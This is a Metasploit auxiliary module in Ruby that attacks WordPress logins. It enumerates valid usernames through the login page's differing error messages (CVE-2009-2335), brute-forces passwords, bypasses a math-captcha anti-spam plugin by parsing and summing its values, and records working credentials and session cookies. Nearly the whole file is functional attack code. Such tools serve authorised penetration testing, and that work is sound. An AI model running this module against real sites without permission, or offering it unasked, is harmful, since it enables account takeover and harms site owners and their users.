##
# $Id: wordpress_login_enum.rb 12196 2011-04-01 00:51:33Z egypt $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Wordpress Brute Force and User Enumeration Utility',
'Version' => '$Revision: 12196 $',
'Description' => 'Wordpress Authentication Brute Force and User Enumeration Utility',
'Author' => [
'Alligator Security Team',
'Tiago Ferreira <tiago.ccna[at]gmail.com>',
'Heyder Andrade <heyder[at]alligatorteam.org>' # Block-Spam-By-Math-Reloaded Bypass
],
'References' =>
[
['BID', '35581'],
['CVE', '2009-2335'],
['OSVDB', '55713'],
],
'License' => MSF_LICENSE
)
register_options(
[ Opt::RPORT(80),
OptString.new('URI', [false, 'Define the path to the wp-login.php file', '/wp-login.php']),
OptBool.new('VALIDATE_USERS', [ true, "Enumerate usernames", true ]),
OptBool.new('BSBM_BYPASS', [ true, "Block-Spam-By-Math-Reloaded Bypass ", false]),
OptBool.new('BRUTEFORCE', [ true, "Perform brute force authentication", true ]),
], self.class)
end
def target_url
"http://#{vhost}:#{rport}#{datastore['URI']}"
end
def run_host(ip)
if datastore['VALIDATE_USERS']
@users_found = {}
vprint_status("#{target_url} - WordPress Enumeration - Running User Enumeration")
each_user_pass { |user, pass|
do_enum(user)
}
unless (@users_found.empty?)
print_good("#{target_url} - WordPress Enumeration - Found #{uf = @users_found.keys.size} valid #{uf == 1 ? "user" : "users"}")
end
end
if datastore['BRUTEFORCE']
vprint_status("#{target_url} - WordPress Brute Force - Running Bruteforce")
if datastore['VALIDATE_USERS']
if @users_found && @users_found.keys.size > 0
vprint_status("#{target_url} - WordPress Brute Force - Skipping all but #{uf = @users_found.keys.size} valid #{uf == 1 ? "user" : "users"}")
else
vprint_status("#{target_url} - WordPress Brute Force - No valid users found. Exiting.")
return
end
end
each_user_pass { |user, pass|
if datastore['VALIDATE_USERS']
next unless @users_found[user]
end
do_login(user, pass)
}
end
end
def do_enum(user=nil)
post_data = "log=#{Rex::Text.uri_encode(user.to_s)}&pwd=x&wp-submit=Login"
print_status("#{target_url} - WordPress Enumeration - Checking Username:'#{user}'")
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['URI'],
'data' => post_data,
}, 20)
valid_user = false
if (res and res.code == 200 )
if (res.body.to_s =~ /Incorrect password/ )
valid_user = true
elsif (res.body.to_s =~ /document\.getElementById\(\'user_pass\'\)/ )
valid_user = true
else
valid_user = false
end
else
print_error("#{target_url} - WordPress Enumeration - Enumeration is not possible. #{res.code} response")
return :abort
end
if valid_user
print_good("#{target_url} - WordPress Enumeration- Username: '#{user}' - is VALID")
report_auth_info(
:host => rhost,
:sname => 'http',
:user => user,
:port => rport,
:proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}"
)
@users_found[user] = :reported
return :next_user
else
vprint_error("#{target_url} - WordPress Enumeration - Invalid Username: '#{user}'")
return :skip_user
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
def smartaleck(values)
answer = 0
values.each { |a| answer+=a.to_i }
return answer
end
def getvalues(response)
i = 0
values = []
while (i <= 1) do
response.body.match(%r{.?(mathvalue#{i}).*(value=).([\d]+)})
values[i] = $3
i += 1
end
return values
end
def baserequest()
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => datastore['URI'],
}, 20)
return res
end
end
def do_login(user=nil,pass=nil)
if (datastore['BSBM_BYPASS'])
v = getvalues(baserequest())
sec_answer = smartaleck(v)
post_data = "log=#{Rex::Text.uri_encode(user.to_s)}&pwd=#{Rex::Text.uri_encode(pass.to_s)}&mathvalue2=#{sec_answer}&mathvalue0=#{v[0]}&mathvalue1=#{v[1]}&&wp-submit=Login"
else
post_data = "log=#{Rex::Text.uri_encode(user.to_s)}&pwd=#{Rex::Text.uri_encode(pass.to_s)}&wp-submit=Login"
vprint_status("#{target_url} - WordPress Brute Force - Trying username:'#{user}' with password:'#{pass}'")
end
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['URI'],
'data' => post_data,
}, 20)
if (res and res.code == 302 )
if res.headers['Set-Cookie'].match(/wordpress_logged_in_(.*);/i)
print_good("#{target_url} - WordPress Brute Force - SUCCESSFUL login for '#{user}' : '#{pass}'")
report_auth_info(
:host => rhost,
:port => rport,
:sname => 'http',
:user => user,
:pass => pass,
:proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}, COOKIE=#{res.headers['Set-Cookie']}",
:active => true
)
return :next_user
end
print_error("#{target_url} - WordPress Brute Force - Unrecognized 302 response")
return :abort
elsif res.body.to_s =~ /login_error/
vprint_error("#{target_url} - WordPress Brute Force - Failed to login as '#{user}'")
return
else
print_error("#{target_url} - WordPress Brute Force - Unrecognized #{res.code} response") if res
return :abort
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end